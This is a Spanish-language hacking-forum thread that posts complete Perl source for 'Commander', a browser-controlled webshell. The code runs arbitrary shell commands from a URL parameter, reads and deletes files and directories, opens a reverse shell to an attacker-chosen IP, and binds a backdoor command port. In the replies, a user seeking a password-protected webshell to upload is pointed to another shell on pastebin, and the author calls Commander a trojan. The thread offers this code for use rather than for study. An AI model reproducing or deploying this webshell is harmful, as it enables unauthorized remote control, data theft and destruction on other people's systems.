elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Commander
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Commander  (Leído 2,874 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Commander
« en: 14 Octubre 2011, 15:28 pm »

Bueno este programa es un webserver en perl con la siguientes opciones

* Listar directorios
* Ver archivos
* Borrar directorios y archivos
* ReverseShell
* BindPort


Código
  1. #!usr/bin/perl
  2. #
  3. #C0mmand3r (C) Doddy HAckman 2011
  4. #Version 0.1
  5. #
  6. #A simple WebShell in Perl
  7. #
  8. #
  9.  
  10. use IO::Socket;
  11. use CGI;
  12. use Cwd;
  13. use HTML::Entities;
  14. use URI::Escape;
  15. use Win32;
  16. use Net::hostent;
  17.  
  18. my $port = rep();
  19.  
  20. sub rep {
  21. unless($ARGV[0]) {
  22. return int("666"); #Your Can Edit 666
  23. } else {
  24. return int($ARGV[0]);
  25. }
  26. }
  27.  
  28. print "\n\n#########################################\n\n";
  29. print "C0mmand3r (C) Doddy HAckman 2011\n\n\n";
  30. print "[+] Starting the webshell on port $port\n\n";
  31. print "#########################################\n\n";
  32.  
  33.  
  34. my $sock = new IO::Socket::INET(
  35. LocalHost => 'localhost',
  36. LocalPort => $port,
  37. Proto     => 'tcp',
  38. Listen    => SOMAXCONN,
  39. Reuse     => 1);
  40.  
  41.  
  42. while ($jebus = $sock->accept()) {
  43.  
  44.  
  45. print $jebus "HTTP/1.1 200/OK\r\nContent-type:text/html\r\n\r\n";
  46. #print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n";
  47. next if $slave=fork;
  48.  
  49. close $sock;
  50.  
  51. while ($response = <$jebus>) {
  52.  
  53. chomp($response);
  54.  
  55. my %rta;
  56.  
  57.  
  58. if ($response=~/GET/ig) {
  59. capturar($response);
  60. }
  61.  
  62.  
  63. sub capturar {
  64. my $aa = shift;
  65. chomp $aa;
  66. if ($aa=~/GET \/(.*) HTTP\/1.1/ig) {
  67. my $todo = $1;
  68. if ($todo=~/\?(.*)=(.*)&(.*)=(.*)/ig) {
  69. $rta{$1} = $2;
  70. $rta{$3} = $4;
  71. }
  72. if ($todo=~/\?(.*)=(.*)/ig) {
  73. $rta{$1} = $2;
  74. }
  75. }
  76.  
  77.  
  78. }
  79.  
  80. print $jebus "
  81.  
  82. <html><body><title>Commander (C) Doddy Hackman 2011</title>
  83.  
  84. <style type=text/css>
  85.  
  86. .main {
  87. margin : -287px 0px 0px -490px;
  88. border : White solid 1px;
  89. BORDER-COLOR: cyan;
  90. }
  91.  
  92.  
  93. #pie {
  94. position: absolute;
  95. bottom: 0;
  96. }
  97.  
  98. body,a:link {
  99. background-color: #000000;
  100. color:cyan;
  101. Courier New;
  102. cursor:crosshair;
  103. font-size: small;
  104. }
  105.  
  106. input,table.outset,table.bord,table,textarea,select {
  107. font: normal 10px Verdana, Arial, Helvetica,
  108. sans-serif;
  109. background-color:black;color:cyan;
  110. border: solid 1px cyan;
  111. border-color:cyan
  112. }
  113.  
  114. a:link,a:visited,a:active {
  115. color: cyan;
  116. font: normal 10px Verdana, Arial, Helvetica,
  117. sans-serif;
  118. text-decoration: none;
  119. }
  120.  
  121. </style>
  122.  
  123.  
  124. <h2><center>Commander WebShell</center></h2>
  125.  
  126. ";
  127.  
  128.  
  129. if ($rta{'loadfile'}) {
  130.  
  131. my $file = uri_unescape($rta{'loadfile'});
  132.  
  133.  
  134. print $jebus "<br><h2><center>File ".$file."</h2></center><br><br>";
  135.  
  136. if (-f $file) {
  137.  
  138. print $jebus "<center><textarea name=codefile cols=70 rows=70>";
  139.  
  140. open (FILE,$file);
  141. @words = <FILE>;
  142. close FILE;
  143.  
  144. for (@words) {
  145. print $jebus HTML::Entities::encode($_);
  146. }
  147. print $jebus "
  148. </textarea></center>
  149. </center><br><br>
  150. </form>
  151. ";
  152.  
  153. exit(1);
  154. }
  155. }
  156.  
  157. print $jebus "
  158. <br><br>
  159. <b>Console</b>
  160. <br><br>
  161. <fieldset>";
  162.  
  163.  
  164. if ($rta{'cmd'}) {
  165. print $jebus qx($rta{'cmd'});
  166. }
  167.  
  168.  
  169. elsif ($rta{'loadir'}) {
  170. my $dir = uri_unescape($rta{'loadir'});
  171. print "recibi $dir\n\n";
  172. if (-d $dir) {
  173. opendir DIR,$dir;
  174. my @archivos = readdir DIR;
  175. close DIR;
  176.  
  177. for(@archivos) {
  178.  
  179. if (-d $_) {
  180. print $jebus "<b>".$_."</b><br>";
  181. } else {
  182. print $jebus $_."<br>";
  183. }}}}
  184.  
  185. elsif ($rta{'delfile'}) {
  186.  
  187. my $file = uri_unescape($rta{'delfile'});
  188.  
  189.  
  190. if (-f $file) {
  191.  
  192. if (unlink($file)) {
  193. print $jebus "<script>alert('File Deleted');</script>";
  194. } else {
  195. print $jebus "<script>alert('Error');</script>";
  196. }
  197. }
  198. }
  199.  
  200. elsif ($rta{'deldir'}) {
  201.  
  202. my $dir = uri_unescape($rta{'deldir'});
  203.  
  204. if (-d $dir) {
  205. if (rmdir($dir)) {
  206. print $jebus "<script>alert('Directory Deleted');</script>";
  207. } else {
  208. print $jebus "<script>alert('Error');</script>";
  209. }
  210. }
  211. }
  212.  
  213. elsif ($rta{'ipconnect'}) {
  214. print $rta{'ipconnect'}."\n";
  215. print $rta{'port'}."\n";
  216. conectar($rta{'ipconnect'},$rta{'port'});
  217. tipo();
  218.  
  219. sub conectar {
  220. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
  221. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  222. open (STDIN,">&REVERSE");
  223. open (STDOUT,">&REVERSE");
  224. open (STDERR,">&REVERSE");
  225. }
  226.  
  227. sub tipo {
  228. print "\n[*] Reverse Shell Starting...\n\n";
  229. if ($^O =~/Win32/ig) {
  230. infowin();
  231. system("cmd.exe");
  232. } else {
  233. infolinux();
  234. #root();  
  235. system("export TERM=xterm;exec sh -i");
  236. }
  237. }
  238.  
  239. sub infowin {
  240. print "[+] Domain Name : ".Win32::DomainName()."\n";
  241. print "[+] OS Version : ".Win32::GetOSName()."\n";
  242. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  243. }
  244.  
  245. sub infolinux {
  246. print "[+] System information\n\n";
  247. system("uname -a");
  248. print "\n\n";
  249. }
  250. }
  251.  
  252. elsif($rta{'portbind'}) {
  253.  
  254. $backdoor = IO::Socket::INET->new(
  255. Proto     => 'tcp',
  256. LocalPort => $rta{'portbind'},
  257. Listen    => SOMAXC,
  258. Reuse     => 1);
  259.  
  260.  
  261. while ($jesus = $backdoor->accept()) {
  262. $jesus->autoflush(1);
  263. print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  264. print $jesus "Welcome  ".$jesus->peerhost."\n\n";
  265. &extras;
  266. $dir = getcwd();
  267. print $jesus $dir.">>";
  268. while (<$jesus>) {
  269. my $yeah = qx($_);
  270. print $jesus "\n\n".$yeah."\n\n";
  271. print $jesus $dir.">>";
  272. }
  273. }
  274.  
  275. sub extras {
  276.  
  277. if ($^O =~//ig) {
  278. print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
  279. print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
  280. print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
  281. } else {
  282. $s =  qx("uname -a");
  283. print $jesus "--==System Info==--\n\n".$s;
  284. }
  285. }
  286. } else {
  287.  
  288. opendir DIR,getcwd();
  289. my @archivos = readdir DIR;
  290. close DIR;
  291.  
  292. for(@archivos) {
  293. if (-d $_) {
  294. print $jebus "<b>".$_."</b><br>";
  295. } else {
  296. print $jebus $_."<br>";
  297. }}
  298.  
  299. }
  300.  
  301. print $jebus "</fieldset>
  302. <br><br>
  303. <form action='' method=GET>
  304. <b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br>
  305. </form>
  306. <form action='' method=GET>
  307. <B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load>
  308. </form>
  309. <form action='' method=GET>
  310. <b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load>
  311. </form>
  312. <form action='' method=GET>
  313. <b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del>
  314. </form>
  315. <form action='' method=GET>
  316. <b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del>
  317. </form>
  318. <br><br><b>ReverseShell</b><br><br>
  319. <form action='' method=GET>
  320. <b>Your IP</B> : <input type=text name=ipconnect value=localhost><br>
  321. <b>Port</b> : <input type=text name=port value=666><br>
  322. <br><input type=submit value=Connect></form><br><br>
  323.  
  324. <b>BindPort</b><br><br>
  325. <form action='' method=GET>
  326. <b>Port</b> : <input type=text name=portbind value=666><br>
  327. <br><input type=submit value=Bind></form><br><br>
  328.  
  329.  
  330. </body></html>
  331. ";
  332.  
  333. $jebus->close;
  334.  
  335. }
  336.  
  337. } continue {
  338. $jebus->close;
  339. }
  340.  
  341. # ¿ The End ?  
  342.  


En línea

ruben_linux

Desconectado Desconectado

Mensajes: 138



Ver Perfil WWW
Re: [Perl] Commander
« Respuesta #1 en: 7 Diciembre 2011, 20:33 pm »

Un saludo.

Me interesaría saber como puedo incluir una opción que pide una password cada vez que acceda a la dirección donde subo la webshell.

Puedes documentar esto, modificar la actual, o indicarme donde conseguir tal herramienta????

Ando buscando una webshell con esta característica, por que se que las hay pero no la encuentro
 :-( :-(


En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] Commander
« Respuesta #2 en: 9 Diciembre 2011, 15:06 pm »

yo hice una phpshell llamada poisonshell , tiene lo que buscas , solo es cuestion de buscarla en google , la version 1.0 de mi shell esta aca.

http://pastebin.com/FM7j0w7N

eso si lo que buscas es algo como commander pero que pida password no te puedo ayudar porque tendria que hacer una nueva version de este programa , otra cosa espero que tengas en cuenta que commander es solo un troyano que se maneja por navegador , no tiene nada que ver con phpshells,c99,r57.
En línea

ruben_linux

Desconectado Desconectado

Mensajes: 138



Ver Perfil WWW
Re: [Perl] Commander
« Respuesta #3 en: 9 Diciembre 2011, 16:52 pm »

me gusta es lo que necesito.
se trata de que no todo el mundo pueda acceder a la webshell para jod**

gracias
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,838 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Perl] Commander 0.3
Scripting
BigBear 0 1,536 Último mensaje 19 Enero 2012, 20:34 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines